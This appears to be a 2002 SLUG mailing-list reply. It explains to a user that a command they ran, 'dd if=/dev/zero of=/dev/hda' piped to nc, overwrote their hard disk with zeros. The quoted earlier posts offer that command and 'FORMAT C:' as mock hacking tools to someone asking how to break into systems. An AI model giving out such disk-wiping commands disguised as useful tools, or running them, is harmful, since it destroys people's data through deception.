did you really run this? it wouldn't have done anything if you
weren't running it as root. if you were running it as root, well that's not
so good.
> Does this do what I think it does and is equivalent to format c: in dos ?
>
This isn't equivalent but it would end up having the same effect,
wiping your disk. Although I am interested how far it got and what happened
once it had finished?
> There should have been some warning to this, as not everyone is familiar
> with the dd command (including me)
>
dd is a block copy command. most people would usually use it to
make exact copies of something like a floppy image or cloning a hard drive.
originally it was for grabbing data from tapes, hence why you can convert
block sizes etc.
> I've no idea if what I've done is fixable, but I'm not happy if I've lost
> all my data on my hard drive.
> I don't care about programs but my personal stuff is hard to replace.
>
what you have done is copied 1k blocks of zeros over your hard
drive. you wouldn't have much chance of recovering it easily.
have i been trolled or did you really run this command as root and
wipe all your stuff?
> -----Original Message-----
> From: Daniel Stone [mailto:[EMAIL PROTECTED]]
> Sent: Wednesday, 17 April 2002 8:19 PM
> To: Matthew Sanderson
> Cc: OSAMA; [EMAIL PROTECTED]
> Subject: Re: [SLUG] i need a sofware to penetrate in to systems
>
>
> On Tue, Apr 16, 2002 at 11:52:19PM -0700, Matthew Sanderson wrote:
> > OSAMA,
> >
> > Try this command from a DOS prompt, it accesses the CIA and FBI's
> websites
> > and lets you access the restricted area:
> >
> > FORMAT C:
>
> But seriously, I suggest:
> dd if=/dev/zero of=/dev/hda bs=1k | nc <host here> 65535
>
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